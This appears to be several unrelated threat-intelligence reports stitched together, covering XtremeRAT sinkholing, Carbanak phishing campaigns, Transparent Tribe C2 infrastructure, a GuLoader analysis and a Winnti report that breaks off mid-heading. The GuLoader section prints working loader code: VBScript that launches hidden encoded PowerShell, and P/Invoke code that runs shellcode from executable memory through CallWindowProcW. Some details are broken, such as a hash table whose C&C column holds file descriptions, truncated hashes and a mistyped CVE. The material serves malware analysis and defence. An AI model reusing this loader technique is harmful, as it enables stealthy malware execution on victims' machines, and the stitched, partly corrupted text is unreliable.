KdXTsbjJ6 | | 9a2e510de8a515c9b73efdf3b141f6c2 | CC | Uranio7 | 3.6 | UBt3eQq0 | | a6b862f636f625af2abcf5d2edb8aca2 | CC | Uranio7 | 3.6 | iodjmGyP3 | | 0327859be30fe6a559f28af0f4f603fe | CC | Uranio7 | 3.6 | UBt3eQq0 | “Server,” “Servers,” and “–((Mutex))–” are the defaults in the XtremeRAT controller for ID, Group, and Mutex respectively. The random mutex names in the table above can be generated by double-clicking in the Mutex field within the controller. In most cases, the number at the end of the group label is the same number used at the end of the subdomain for the CnC. In the case of “Uranio2011,” the subdomain is simply “uranio” and 2011 represents the port number used to communicate with the CnC infrastructure. ### Uranio Sinkhole Analysis We sinkholed uranio2.no-ip.biz between November 22, 2013, and January 6, 2014. During that time, 12000 unique IPs connected to the uranio2.no-ip.biz. Recall, that this number reflects only one of many command and control servers. However, estimating the number of victims this way is difficult due to DHCP lease times, which inflate the numbers, and NAT connections, which deflate the numbers. As such, we counted the unique IP addresses that connected to the sinkhole on each day. The highest number of connections to this sinkhole was on Dec. 3, 2013, with 2003 connections and the lowest was Jan. 6, 2014, with 109 connections. The average number of unique IP addresses that connected to the sinkhole per day was 657. While these IP addresses were in ranges assigned to 40 distinct countries, the vast majority of the connections to the sinkhole (92.7 percent) were from Colombia. Argentina was a distant second with 1.22 percent, followed by Venezuela with 1.02 percent, Egypt with 0.95 percent, and the U.S. with 0.9 percent. ## Conclusion Determining the activity of targeted threat actors is difficult. Most of the activity associated with publicly available RATs is traditional cybercrime associated with spam runs, banking Trojans, and malware distribution. However, useful indicators can be extracted from these ubiquitous RATs to track the activities of targeted threat actors (as well as cybercrime).
# Carbanak Group Targets Executives of Financial Organizations in the Middle East **March 14, 2016** **Authors:** Aleksey F, Darien Huss, Chris Wakelin, Chris I, and Proofpoint Staff The Carbanak group is infamous for infiltrating various financial institutions and stealing millions of dollars by learning and abusing the internals of victim payment processing networks, ATM networks, and transaction systems. Recently, we detected Carbanak campaigns attempting to: - Target high-level executives in financial companies or in financial/decision-making roles in the Middle East, U.S., and Europe - Spear-phishing emails delivering URLs, macro documents, exploit documents - Use of Spy.Sekur (Carbanak malware) and commodity remote access Trojans (RATs) such as jRAT, Netwire, Cybergate, and others used in support of operations. ## Campaign Targeting Middle East (URLs leading to Exploit Docs) On March 1st, 2016, Proofpoint detected a targeted email sent to hand-picked individuals working for banks, financial organizations, and several professional service companies selling enterprise software. These targets are high-level executives and decision-makers such as directors, senior managers, regional/country managers, and operations managers. The majority of targets work in the Middle East region in countries such as UAE, Lebanon, Kuwait, Yemen, and others. The email contained a URL to a Microsoft Word document hosted on a compromised site churchmanarts[.]com. The document, WRONG_AMOUN-01032016.doc (SHA256: ac63520803ce7f1343d4fa31588c1fef6abb0783980ad0ba613be749815c5900), exploits CVE-2015-2545 when opened to drop and execute a downloader from the client’s temporary folder. This document drops essentially the same payload every time, but slightly modified, possibly so that every execution results in a dropped file with a different hash. ### Malware: Downloader and Sky.Sekur After exploiting the vulnerability, the document drops the payload into %TMP%\1B9D.tmp (SHA256: 73259c6eacf212e22adb095647b6ae345d42552911ac93cdf81a3e2005763e74). This payload is a downloader (MSIL/JScript), a MSIL packed executable (PE) that utilizes the Microsoft JScript library to retrieve the hardcoded HTTP location and then executes the downloaded payload using WScript.Shell. In this case, it retrieved the second-stage payload Spy.Sekur from hxxp://78.128.92[.]49/blesx.exe (SHA256: 04e86912d195d9189e64d1ce80374bed3073b0fcb731f3f403822a510e76ebaa). Blesx.exe is a NSIS self-extracting installer. It is signed with a SHA1 digest Time Doctor LLC certificate and a SHA256 digest Tragon Corporation certificate. The excerpt from the extracted NSIS script depicts the basic functionality of this Carbanak/Spy.Sekur dropper. | SHA256 Hash | Filename | Description | |-------------|----------|-------------| | 9280fa54ee5ac4bb7ca781d2e1e617ad | cyan bl 4.ADO | Encoded Spy.Sekur | | 25e41d2a708cd2ff0f8af0e1e5112a0ef | FervencyPoseuseChitchat | Encoded WinAPIs | | 7d680d2b30601fb28bac4d71ef4f602bffc | stole.dll | Decodes and executes Spy.Sekur | | 44e5dfd551b38e886214bd6b9c8ee913c | System.dll | NSIS System Plug-in, used to execute stole.dll | The basic functionality of the NSIS installer begins first with System.dll, which is used to execute stole.dll with the provided parameters. Additional WinAPIs needed by stole.dll are decoded from the file FervencyPoseuseChitchat. Next, the file “cyan bl 4.ADO” is decoded using the key GurnardScapularyHydrograph provided by the NSIS script, resulting in a Carbanak/Spy.Sekur payload. ### Malware: Java-based RAT, jRAT At the same time they were spreading Spy.Sekur, the attackers also sent emails containing URLs linking to jRAT. The email contained a URL to a Java JAR file hosted on a compromised site damianroz[.]com. The malware file, captioned_transactionutrno_fftt16044002829-dtd02032016imagejpg.jar (SHA256: 04281900f08d55a3adc80182419609faf4c49d260d18496ecb3d3b90caca0612) communicates to C&C address 185.29.9[.]16. This RAT gives the attacker the functionality to chat with the victim, manage files (copy, create, delete, download, get directory listing, move, rename, run), keylogger, manage processes (kill, create), monitor clipboard, monitor webcam by taking images and capture, record sound, reboot, shutdown, logoff, modify registry (read, delete, write keys), read hosts file, get the victim’s geographic location, and other capabilities. The following evidence enabled us to connect this RAT to the same group distributing Spy.Sekur: - Similarity in payload URLs. - Overlap in sender email addresses. - The jRAT C&C IP address, 185.29.9[.]16 was observed as the first one to download the malicious document from churchmanarts[.]com. ## Campaign Targeting U.S. and Europe (Macro Document Attachments) On March 4th, 2016, Proofpoint detected more targeted emails sent to individuals working for financial industry, mass media, and other seemingly unrelated targets in fire, safety, air conditioning, and heating. These individuals all worked in financial and helpdesk roles such as account manager, credit controller, and IT support. Unlike the previously described campaign, the majority of targets work in U.S.- and Europe-based companies. Unlike the March 1st campaign, which contained links to exploit documents, this campaign employed documents attached to email messages. The two observed documents “remitter request_2016-03-05-122839.doc” and “Reverse debit posted in Error 040316.doc” use macros to download the final Spy.Sekur payload from hxxp://154.16.138[.]74/sexit.exe. ### Malware: Spy.Sekur Once the user enables the malicious macros embedded in the document attachment, each document downloads Spy.Sekur payload from hxxp://154.16.138[.]74/sexit.exe (SHA256: 9758aa737004fc3fc6bc7d535e604324b6e42c7c19459f575083a411a4774b18). Unlike the March 1st campaign, there is no separate downloader. As before, however, the payload is a NSIS self-extracting installer signed with the same Time Doctor LLC and Tragon Corporation certificates. Once installed and running, Spy.Sekur beacons to the same C&C server www[.]carenty44[.]net and IP address 78.128.92[.]29. Similarly, in the custom TCP C&C beacon, the string “ArabLab0” can be observed; this is a hardcoded value possibly used as the campaign identifier for these attacks. ### Malware: Netwire While we did not observe any emails attempting to infect targets with Netwire in this campaign, we discovered it hosted on hxxp://154.16.138[.]74/vex.exe (SHA256: 33808e7f7837323686c10c5da1e60812afe041f28004ee667a5683a53532206c), which was also hosting Spy.Sekur. We believe the Netwire may have been spread as a part of the same campaign. The following evidence enabled us to connect this Netwire malware to the same group distributing Spy.Sekur: - The payload IP address that hosted Spy.Sekur and Netwire at the same time. - The Netwire C&C IP address, 185.29.9[.]16, is once again the same IP that was used as C&C for the previously described jRAT and observed downloading the malicious document from churchmanarts[.]com. ## Regional Targeting Statistics Analyzing a combination of logs (specifically, IP addresses downloading malicious documents) and statistics on recipients of the malicious emails, we created a chart showing the targeted countries. Targets in the U.S. heavily outweigh other countries due to the preponderance of financial organizations based. Organizations in Middle Eastern countries such as Oman, United Arab Emirates, Kuwait, and others were the next most-targeted. ## Additional Carbanak Campaigns and Payloads While searching for additional occurrences of the MSIL/JScript downloader, we uncovered an additional payload URL that was rotated several times producing different payloads. Several MSIL/JScript downloaders were pointed at the URL: hxxp://172.98.202[.]171/famzy/final.exe. MorphineRAT, DarkComet, and most notably Spy.Sekur have been observed being hosted at the URL. | SHA256 | Payload family | C&C | |--------|----------------|-----| | 86c20c0e0417e73b51241a769164ddb | Spy.Sekur | Encoded Spy.Sekur | | dd92174f158778849f81f6971b7bc9bbda | MorphineRAT | Encoded WinAPIs | | 35eff02140b6c8ed8d34cfc40c50325258 | DarkComet | NSIS System Plug-in, used to execute stole.dll | ## The “TUBOR0” Campaign The Spy.Sekur payload contained the hardcoded identifier “TUBOR0”. We have observed additional samples using the same identifier, including one signed with the same Time Doctor LLC certificate previously mentioned as well as a SHA256 digest MicroHealth certificate. An additional “TUBOR0” sample was found being dropped by a PowerPoint document, likely exploiting CVE-204-6352. This sample was not signed; however, it was configured to use the same C&C as the MicroHealth signed Spy.Sekur. ## MorphineRAT / DarkComet Connections We observed an email campaign utilizing a CVE-2015-2545 attachment whose payload was a MSIL/JScript Downloader configured to download a final payload from hxxp://172.98.202[.]171/famzy/final.exe. While the targeting for this campaign is not consistent with previous email campaigns attributed to Carbanak, definite similarities and overlap exist. ## Usage of Signed Payloads Numerous Spy.Sekur payloads have been signed using stolen or fraudulent certificates. In addition to Spy.Sekur, these certificates have been used to sign many other samples belonging to different families, including various crypto ransomware variants. It is possible that the Carbanak actors are using signing certificates that are also made available to other groups and actors. ## An Even Older Campaign Delivering Toshliph & CyberGate On August 26, 2015, a document “Application form USD duplicate payment.doc” was sent as an email attachment to a list of individuals working at U.S.-based financial organizations. It exploited CVE-2015-1770 and CVE-2015-1641 to drop Toshliph, which in turn downloaded CyberGate. It should be noted that the C&C for this old campaign is in the same netblock as the March 2016 Spy.Sekur campaigns. ## Conclusion The Carbanak group has been behind a number of attacks since 2013, most characterized by APT-style campaigns targeting multiple groups with a variety of malware. In this case, we saw the group use new exploits, macro documents, and RATs to target new groups outside their usual Russian domains. The group used attachment campaigns, URLs linking to exploit documents, and sophisticated malware to go after targets in the US and Middle East. The group also expanded its targeting from financial institutions to seemingly unrelated targets in fire, safety, and HVAC. However, as we learned from the Target data breach, among others, vendors and suppliers can give attackers a point of entry into their real target.
# Transparent Tribe APT Infrastructure Mapping **Introduction** Transparent Tribe (APT36, Mythic Leopard, ProjectM, Operation C-Major) is the name given to a threat actor group largely targeting Indian entities and assets. Transparent Tribe has also been known to target entities in Afghanistan and social activists in Pakistan, the latter of which points towards the assumed attribution of Pakistani intelligence. Tools used by this group include CrimsonRAT, ObliqueRAT, PeppyRAT, and AndroidRAT, with most campaigns discovered relying on spear-phishing and social-engineering of victims. Over the coming months, Team Cymru’s S2 analytic unit will be focusing on the infrastructure behind these known toolsets. This is the first article of a two-part series on Transparent Tribe’s CrimsonRAT infrastructure. We have been tracking CrimsonRAT, Transparent Tribe’s most ubiquitous remote access tool, over a number of months. This blog will present our high-level observations based on a study of 23 CrimsonRAT command and control (C2) servers. Our intention is to provide supporting context to existing Transparent Tribe reporting and IOCs, to aid in future threat reconnaissance activities against this group. ## Key Observations - C2s hosted with a number of different VPS providers – most commonly Contabo, ColoCrossing, Pi Net, and QuadraNet. - Port 3389 was observed open on 83% of the CrimsonRAT C2 servers. - A total of 62 distinct beacon ports were observed, with minimal evidence of port re-use across C2s. - Traffic to ip-api[.]com, used in the IP geolocation of victims, noted from C2 172.245.87.12. - A review of a recent Transparent Tribe campaign reveals the targeted nature of the group’s activities. ## Summary of Findings Please note that details of all 23 CrimsonRAT C2 servers are provided in the technical appendix at the end of this blog. ### CrimsonRAT C2 Hosting When examining the IP attribution of CrimsonRAT C2 servers, it is apparent that Transparent Tribe actors have sought to spread their infrastructure across a number of distinct providers, likely to provide some resilience to their operations. Whilst eight different providers were observed, there was a degree of preference noted for Contabo (5 servers), QuadraNet (4), Pi Net (4), and ColoCrossing (3). When actors consider which hosting provider to use, many factors likely enter their decision-making process; accepted payment methods, geographical diversity, local privacy laws, and the probability of law enforcement disruption, to name a few. One caveat for these findings is that whilst specific providers have been mentioned, based on available Whois information, in some cases the ranges used by Transparent Tribe may have been sub-leased to other providers. ### Port 3389 When reviewing open ports on the CrimsonRAT C2 server set, Port 3389, commonly associated with the Remote Desktop Protocol (RDP), was observed open in 83% of cases (19 of 23). Whilst this finding may be coincidental, the observed prevalence suggests it is a possible prerequisite for the functionality of the C2 server or its administration. Transparent Tribe are known to run different versions of a .NET application which acts as the CrimsonRAT command-and-control panel. This is a GUI application used to manage components of the tool on victim hosts. As an interactive session is required to interface with this application, one hypothesis is that the actors require RDP access to the CrimsonRAT command-and-control panel. Furthermore, the majority of CrimsonRAT servers were found to be running Windows Server 2012R2. We are currently conducting an analysis of ongoing and historic connections to CrimsonRAT C2s on Port 3389. The goal of this analysis is to identify any potential uses by Transparent Tribe actors (thus identifying higher order infrastructure), as well as separating this activity from the regular scanning of Port 3389, which takes place on the Internet every day. ### Beacon Ports A typical CrimsonRAT payload can have up to five pre-configured callback ports for communications with the C2 server. We have witnessed minimal evidence of port re-use across samples and the C2s we have analyzed, with only four ports being used more than once: 3878, 4586, 6818, and 8666. It’s possible these ports are seemingly randomly selected by the operator. In total, 62 distinct beacon ports were identified across the 23 C2 servers, from the lower end of 2991 to the higher end of 54131 – although the majority of ports were clustered between 2991 and 17443. ### C2 172.245.87.12 (ip-api[.]com Usage) In addition to inbound victim traffic to C2 172.245.87.12 (AS-COLOCROSSING, US), we also observed outbound connections to ip-api[.]com (208.95.112.1) on Port 80, during the period 12 December 2020 – 06 March 2021. This finding supports the presence of server version ‘A’ on this particular C2 – which is known to use ip-api[.]com for performing IP geolocation lookups of victims when they beacon in. Our own analysis of the CrimsonRAT server source code identifies that the ip-api[.]com lookup occurs automatically when a new victim calls into the controller and that these results are then cached so that further lookups are not required. These lookups can therefore be represented as evidence of ‘new’ victims with associated timestamp information providing an indication as to when an initial compromise has taken place. It is possible that multiple lookups could occur for the same victim when their IP address changes due to dynamic assignments. Based on our coverage of C2 172.245.87.12 we see victim IPs assigned to Indian providers beaconing to the configured ports. Therefore, using a conversion from UTC to Indian Standard Time (IST) – UTC+05:30, we can see that victims have been newly compromised during ‘usual’ office hours: **Time Correlation:** - 2020-12-12 03:39:17 UTC = 09:09:17 Local IST - 2020-12-30 07:28:02 UTC = 12:58:02 Local IST - 2021-02-04 07:53:52 UTC = 13:23:52 Local IST - 2021-02-23 03:51:31 UTC = 09:21:31 Local IST - 2021-03-04 12:10:54 UTC = 17:40:54 Local IST - 2021-03-06 04:15:27 UTC = 09:45:27 Local IST - 2021-03-14 09:59:47 UTC = 15:29:47 Local IST These findings are caveated by the limitations of our coverage; these findings are accurate based on the traffic we have observed – other compromises may have taken place outside of these hours. ### Victimology A recent Transparent Tribe campaign, targeting the Indian Air Force (IAF), was used to provide an example of victimology. On 24 March 2021, a Transparent Tribe lure document was disclosed on Twitter, comprising a PowerPoint presentation for an IAF/industry collaborative event – ‘INDISEM-2021’. The objective of this event was to purportedly identify organizations in India’s commercial sectors capable of undertaking maintenance contracts for the IAF fleet. The venue for the event is listed as the Air Force Auditorium in Subroto Park, New Delhi. Open-source research identifies Subroto Park as the location of numerous IAF buildings, including the ‘Air Force School’. Network traffic data for the C2 185.136.169.155 used in this campaign was reviewed and victim IP addresses connecting to the beacon ports (6128, 8761, 11214, 15882, 17443) were plotted on a map using geolocation information. This process revealed two clusters of victims in close proximity to Subroto Park. The victim cluster to the North centered around another area containing a number of IAF buildings, including an Air Force Station. The Southern cluster centered around the residential area of Sarojini Nagar. Between the two clusters sits Safdarjung Airport, a site which houses a number of Government Administrative buildings, including the Airports Authority of India and the Directorate General of Civil Aviation. The airfield itself is still operational and is used for the transfer of high-value individuals to Indira Gandhi International Airport when they travel out of the country – the Presidential estate is located just to the North of the Air Force Station. The available coverage of this particular campaign shows the likely targeting of individuals within Indian Government or IAF locations, as well as a nearby residential area which could feasibly house some of these individuals. ## Technical Appendix **Beacon Ports consist of observed network traffic to known C2s and may not be representative of entire CrimsonRAT configuration.** | IP Address | Whois | Open Ports | Beacon Ports | |---------------------|-----------------------|------------|--------------------------------------------| | 134.119.181.15 | Pi Net, LLC, VN | 3389 | 8861, 8561, 6818 | | 151.106.14.125 | Pi Net, LLC, VN | 3389 | 6818, 14618, 8722, 16418, 3468 | | 151.106.19.220 | Pi Net, LLC, VN | 3389 | 2682 | | 172.245.247.112 | ColoCrossing | 3389 | 3878, 5648, 8666, 11824, 14624 | | 172.245.87.12 | ColoCrossing | 3389 | 4586, 6276, 8443, 12447, 18856 | | 173.212.192.229 | Contabo | 3389 | 3364, 16564, 8264 | | 173.249.22.30 | Contabo | 3389 | 4228, 16582, 10864 | | 173.249.14.104 | Contabo | 3389 | 6630, 9808, 3312 | | 173.249.42.113 | Contabo | 3389 | 8148 | | 185.136.169.155 | Pi Net, LLC, VN | 3389 | 8761, 11214, 6128, 15882, 17443 | | 185.174.102.105 | DeltaHost | 80 | 2991, 5991, 54131 | | 198.12.90.116 | ColoCrossing | 3389 | 3691, 6582, 4684 | | 23.254.119.11 | B2 Net Solutions | 3389 | 3163, 6614, 4828, 5661 | | 23.254.119.118 | ColoCrossing | | 11214 | | 209.127.16.126 | B2 Net Solutions | 3389 | 4768 | | 45.32.151.155 | Vultr | 21, 80, 3389| 6126, 11427, 12835 | | 45.77.246.69 | Vultr | 3389 | 16185 | | 5.189.134.216 | Contabo | | 5156 | | 64.188.12.126 | QuadraNet | 3389 | 9666, 12824, 6658, 49747 | | 64.188.25.143 | QuadraNet | 3389 | 4586 | | 64.188.25.206 | QuadraNet | | 4125, 6522, 16621, 11422 | | 66.154.113.38 | QuadraNet | 3389 | 3878, 8666 | | 89.249.65.206 | M247 | 3389 | 4816 |
# GuLoader Executing Shellcode Using Callback Functions I personally despise trying to analyze shellcode, but shellcode is becoming more common in malware of all types. From Metasploit and Cobalt Strike to GuLoader, loads of malicious tools include shellcode as injectable payloads to make detection harder. In today’s post, I want to look at one of the most recent iterations of GuLoader and how it deploys its shellcode. ## Triaging the First Stage For the first stage, MalwareBazaar says it's a VBScript file, so we’ve already got a decent hypothesis on the file type. We can go ahead and confirm with `file` and `xxd`. Sure enough, it looks like we’re dealing with a text file, and the first few bytes of the text file look like they might be a VBScript comment prepended with a `'` character. ```bash remnux@remnux:~/cases/guloader$ file remittence.vbs remittence.vbs: ASCII text, with CRLF line terminators remnux@remnux:~/cases/guloader$ xxd remittence.vbs | head 00000000: 2767 656e 6b61 6c64 656c 7320 556e 6d65 'genkaldels Unme 00000010: 7769 6e67 6239 204e 6575 726f 6e64 6536 wingb9 Neuronde6 00000020: 204b 726f 7033 2042 6172 6265 7269 206d Krop3 Barberi m 00000030: 6973 7265 2066 7269 6d20 554e 4143 2048 isre frim UNAC H 00000040: 594c 4550 4920 4d41 4c54 4e49 4e20 4752 YLEPI MALTNIN GR 00000050: 4144 2048 4f4c 4f53 5920 4272 7569 6e73 AD HOLOSY Bruins 00000060: 6875 2064 656d 756c 2049 4e47 4956 4545 hu demul INGIVEE 00000070: 5520 504f 5354 4e41 5445 4e20 5649 4e44 U POSTNATEN VIND 00000080: 454e 5355 4e44 204b 7572 6461 6974 3320 ENSUND Kurdait3 00000090: 5448 4f4d 534f 4e41 4e54 2053 7562 7275 THOMSONANT Subru ``` Looking at the details from `exiftool`, the size of the file stands out. Weighing in at 80 KiB, the script likely contains some binary/EXE content embedded inside. 673 lines of code, it’s a pretty decently-sized script. So let’s dive in! ```bash remnux@remnux:~/cases/guloader$ exiftool remittence.vbs ExifTool Version Number : 12.30 File Name : remittence.vbs Directory : . File Size : 80 KiB File Modification Date/Time : 2022:01:25 01:07:38-05:00 File Access Date/Time : 2022:01:24 21:43:55-05:00 File Inode Change Date/Time : 2022:01:24 20:11:16-05:00 File Permissions : -rw-r--r-- File Type : TXT File Type Extension : txt MIME Type : text/plain MIME Encoding : us-ascii Newlines : Windows CRLF Line Count : 673 Word Count : 3409 ``` ## Examining the VBScript Code Immediately on the first few lines of the script, we can see several lines of VBScript comments. Usually, comments are for code documentation, but in this case, the adversary decided to put in some garbage code. This sort of thing is usually intended to stump static detection rules, lower AV detection rates, and slow down malware analysis. After a quick glance at the comment lines, there’s nothing that really tells me that we need to keep them, so we can just ignore or delete them. ``` 'genkaldels Unmewingb9 Neuronde6 Krop3 Barberi misre frim UNAC HYLEPI MALTNIN GRAD HOLOSY Bruinshu demul INGIVEEU POSTNATEN VINDENSUND Kurdait3 THOMSONANT Subrules BRUGSGA Usselhed Fakt Waughtsfo Udmugning NONPRO NONDEFER MUDDERGRFT bondsla Bros europapa 'Bebrejd Blevins DRABS EDDA Uberrt2 TILLIGGEND Nedisni1 Unrefulg Tsum AGRA Renderne 'Darvon FORLDREKN Vasalsta faaspointe Numselea9 Speedw TVANGL Ejert stymieds Writ6 liquefy Censedspe4 MEANDR BOWLINGEN bassetters yokoonop visuals Platingbyg5 SKARNB Bygningsfe Pulli Farve baasetm klejne 'INDTRDELSE HJEMM Fortjenst Nsvi sirdar FORMAL Progra2 airworth Axometrybl6 Stan6 OBLIGATI Ineffi Unsa Conven Bisulfate AKUPUNKT preadjust SIDE Pels2 antilethar manch ALDERLIN Nimmedvor ``` Next up in the code, we have a simple sleep timer right after some variables get defined. The script sleeps for 2000 milliseconds before moving on to the next stage. ```vbscript Dim sired, objExec, strLine Dim MyFile, teststr F = timer Wscript.Sleep 2000 G = timer If G > F then ``` Down in the next section, the adversary decides to set the `sired` and `CCA` variables multiple times in a row. The `sired` variable contains a Wscript shell object and `CCA` contains a file system object for file writing. ```vbscript set sired = CreateObject("Wscript.Shell") Set CCA = CreateObject("Scripting.FileSystemObject") set sired = CreateObject("Wscript.Shell") Set CCA = CreateObject("Scripting.FileSystemObject") set sired = CreateObject("Wscript.Shell") Set CCA = CreateObject("Scripting.FileSystemObject") ``` And now we get into the good meat of the script. The `Fotografe6` variable is built over multiple lines and contains what looks like a hex string. I don’t see a traditional `MZ` header represented as `4D5A` in hex, but it could be further obfuscated somehow. ```vbscript Fotografe6 = Fotografe6 & "81ED000300006 ... EF9F10408E" Fotografe6 = Fotografe6 & "4166620BE8491 ... 62D3219DF4" ``` The `clabbering` variable, just like the previous one, is built over multiple lines. In this case, it appears to be base64 code because once we feed some of the chunks into CyberChef with the “From Base64” it decodes into valid text. ```vbscript clabbering = clabbering & "IwBBAEkAUgBFA ... AGEAbgB0AG" clabbering = clabbering & "kAdAB5AHIAbwAg ... bABrAG8AI" clabbering = clabbering & "ABuAG8AbgBtAGE ... AbwBpAHMA" clabbering = clabbering & "IABVAG4AdgBlAG ... MASABVAFQ" ``` Now that we have an idea of the materials being manipulated in the script, let’s see how the script uses them. The next chunk of code looks like it’s building a PowerShell command. At this point, I’m thinking the base64 chunk of text in `clabbering` above will likely be fed into PowerShell for execution. `Fotografe6` looks like it gets fed into a `baggrun()` and `lugsai()` function. Since `shellPath` contains a file path and the string `ISO-8859-1` refers to encoding, my hypothesis is that `lugsai()` writes the contents of `Fotografe6` to disk. ```vbscript TMP1 = "%TEMP%" MyFile = sired.ExpandEnvironmentStrings("%windir%") & "\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" Fotografe6 = baggrun(Fotografe6) shellPath = sired.ExpandEnvironmentStrings(TMP1) & "\Champag6.dat" lugsai shellPath, Fotografe6, "ISO-8859-1" ``` The `lugsai()` function looks like it works with an ADODB.Stream object, picks a character set, opens a file, and writes text to disk. So far it looks like our hypothesis was correct. ```vbscript Function lugsai(NONN, UNDEGRAD, Lathesme1) Dim BinaryStream ADO = "ADODB.Stream" Set BinaryStream = CreateObject(ADO) BinaryStream.Type = 2 BinaryStream.CharSet = Lathesme1 BinaryStream.Open BinaryStream.WriteText UNDEGRAD BinaryStream.SaveToFile NONN, 2 End Function ``` The `baggrun()` function looks like it works with the hex string in `Fotografe6`. The function walks through the hex string and checks for “ZZZ” values. If it doesn’t find them, it just outputs the hex string. ```vbscript Function baggrun(h) For i = 1 To len(h) step 2 if ChrW("&H" & mid(h, i, 2)) = "ZZZ" then Wscript.Sleep(1) baggrun = baggrun + ChrW("&H" & mid(h, i, 2)) Next End Function ``` And now the script starts making some movement outside of itself. The `-EncodedCommand` string here indicates we’re likely going to see a PowerShell command with a base64 chunk of code. Sure enough, the base64 code in `clabbering` eventually gets used for the PowerShell command. ```vbscript Set obj1 = CreateObject("Shell.Application") max1 = clabbering RAVNEAGT = " -EncodedCommand " & chr(34) & max1 & chr(34) If CCA.FileExists(MyFile) = True then obj1.ShellExecute MyFile, RAVNEAGT, "", "", 0 else obj1.ShellExecute "powershell.exe", RAVNEAGT, "", "", 0 end if ``` ## PowerShell Executing Shellcode with .NET After decoding the base64 in `clabbering` with CyberChef, we can see some PowerShell code that gets executed. Just like the VBScript, the first line or two just contains a useless comment. Looking through the rest of the code, there are also a few comments mingled among the useful stuff. For a bit more brevity, I’ve gone ahead and removed comments from the code I show here. To slow down analysis some more, the adversary also threw in a bunch of `Test-Path` commands. None of them seemed to serve any function, so I removed them from the code here. The first big chunk of PowerShell is an `Add-Type` cmdlet followed by some C# code. `Add-Type` allows you to import a .NET class DLL into memory to work with in PowerShell. When combined with the `-TypeDefinition`, you can provide some raw C# code that gets compiled into bytecode at runtime and loaded into PowerShell. In this case, the adversary defines a .NET class named `Ofayve1` that contains Platform Invoke (P/Invoke) code that allows the adversary to call native Win32 functions from .NET code. ```powershell Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public static class Ofayve1 { [DllImport("ntdll.dll")] public static extern int NtAllocateVirtualMemory(int Ofayve6, ref Int32 Swat9, int Rasko8, ref Int32 Ofayve, int Metzerespe9, int Ofayve7); [DllImport("kernel32.dll")] public static extern IntPtr CreateFileA(string BUTTERMA, uint Contra6, int undvrpieti, int Ofayve0, int Foldysy7, int Oboer8, int BLUFF); [DllImport("kernel32.dll")] public static extern int ReadFile(int Rasko80, uint Rasko81, IntPtr Rasko82, ref Int32 Rasko83, int Rasko84); [DllImport("user32.dll")] public static extern IntPtr CallWindowProcW(IntPtr Rasko85, int Rasko86, int Rasko87, int Rasko88, int Rasko89); } "@ ``` From here in, the adversary references that class/type to call Windows API functions. The first three are pretty self-explanatory. When combined together, these functions read the contents of `Champag6.dat` and map them into memory at `$Ofayve3`. These contents included the hex string seen earlier, and my working hypothesis is that the file is some form of shellcode. ```powershell $Ofayve3 = 0; $Ofayve9 = 1048576; $Ofayve8 = [Ofayve1]::NtAllocateVirtualMemory(-1, [ref]$Ofayve3, 0, [ref]$Ofayve9, 12288, 64) $Ofayve2 = "$env:temp" + "\Champag6.dat" $Ofayve4 = [Ofayve1]::CreateFileA($Ofayve2, 2147483648, 1, 0, 3, 128, 0) $Ofayve5 = 0; [Ofayve1]::ReadFile($Ofayve4, $Ofayve3, 26042, [ref]$Ofayve5, 0) [Ofayve1]::CallWindowProcW($Ofayve3, 0, 0, 0, 0) ``` The final part of the script calls `CallWindowProcW`, which was unusual for me to see. I decided to get a little wild and do a Google search for “CallWindowProc shellcode” and ended up running across an interesting article on using function callbacks to run shellcode. Reading down the article, I could see some code that looks very similar to our sample: ```c CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0); ``` Sure enough, the GuLoader code above seems to match that callback article. ## But is it GuLoader? Honestly, this is hard for me to tell. I largely trust the GuLoader tag in MalwareBazaar, but it’s always good to have extra proof. When I open up the suspected shellcode in Ghidra, there is some definite XOR activity going on. And when I use this little chunk of Python code, I can reverse that XOR: ```python def str_xor(data, key): for i in range(len(data)): data[i] ^= key[i % len(key)] return data key = bytearray(b'0x6a8a4f58') data = bytearray(open('encoded_shellcode.bin', 'rb').read()) decoded = str_xor(data, key) open("decoded_shellcode.bin", "wb").write(decoded) ``` The resulting shellcode gets some hits from `capa` as containing anti-VM and sandbox evasion measures. ```bash remnux@remnux:~/cases/guloader$ capa -f sc32 dec_shellcode.bin +------------------------------------------------------+------------------------+ | md5 | 565eb36ab19132a4b963cc840febd24c | | sha1 | 78dd372f6ed9962d0a0e3841675ab374235d2f94 | | sha256 | 82ec24bbf698d635f3e7bfbda89971518f010c8efde79fcd43a2805a0945850f | | path | dec_shellcode.bin | +------------------------------------------------------+------------------------+ +------------------------------------------------------+------------------------+ | ATT&CK Tactic | ATT&CK Technique | +------------------------------------------------------+------------------------+ | DEFENSE EVASION | Virtualization/Sandbox Evasion::System Checks T1497.001 | +------------------------------------------------------+------------------------+ +------------------------------------------------------+------------------------+ | MBC Objective | MBC Behavior | +------------------------------------------------------+------------------------+ | ANTI-BEHAVIORAL ANALYSIS | Virtual Machine Detection::Instruction Testing [B0009.029] | +------------------------------------------------------+------------------------+ +------------------------------------------------------+------------------------+ | CAPABILITY | NAMESPACE | +------------------------------------------------------+------------------------+ | execute anti-VM instructions | anti-analysis/anti-vm/vm-detection | +------------------------------------------------------+------------------------+ ``` This is where I stopped my particular analysis. GuLoader is rather famous for anti-VM, anti-sandbox, anti-whatever, so I feel pretty satisfied with our progress so far. Given the shellcode capabilities and the fact that GuLoader usually involves shellcode like this, I’m good with calling it GuLoader. Thanks for reading!
# The Operations of Winnti Group ## 1. Overview Threat actor Winnti Group, tracked by NTT Security Threat Intelligence analysts as Entity-1 (ENT-1), is a highly active group with many parallel operations mainly targeted towards entities in Asia. The definition and classification of activity originating from the Winnti group diverge between various security companies. What we label as ENT-1 in this report overlaps with activity classified by ESET and Dr Web as Winnti group in recent reporting. The aim of this report is to offer a glimpse into the continuous Threat Intelligence efforts NTT Security is committed to on behalf of our clients, while also reporting on previously unreported aspects of the ENT-1 group in contribution to the security community's effort of laying the puzzle of ENT-1 activity. This research has been possible by harnessing NTT’s owned and operated global tier-1 IP backbones, together with correlation of data from targeted customers, internal research, and open source intelligence (OSINT). The timespan of this research is from December 2020 to April 2021, where the following countries and regions have been observed as targets. ## 2. Daily operations Analysis of traffic towards ENT-1 infrastructure shows that the group is active during office hours in time zone UTC+6. Weekends normally lack any activity, implying that the group is truly a full-time funded APT group. The group's daily operations include the exploitation of servers running the GlassFish Server software version 3.1.2 and below as means for easy infrastructure expansion. The exploited servers are then utilized during their operations. Commonly deployed software includes the Web Vulnerability Scanner Acunitex and the command-and-control product CobaltStrike. ## 3. 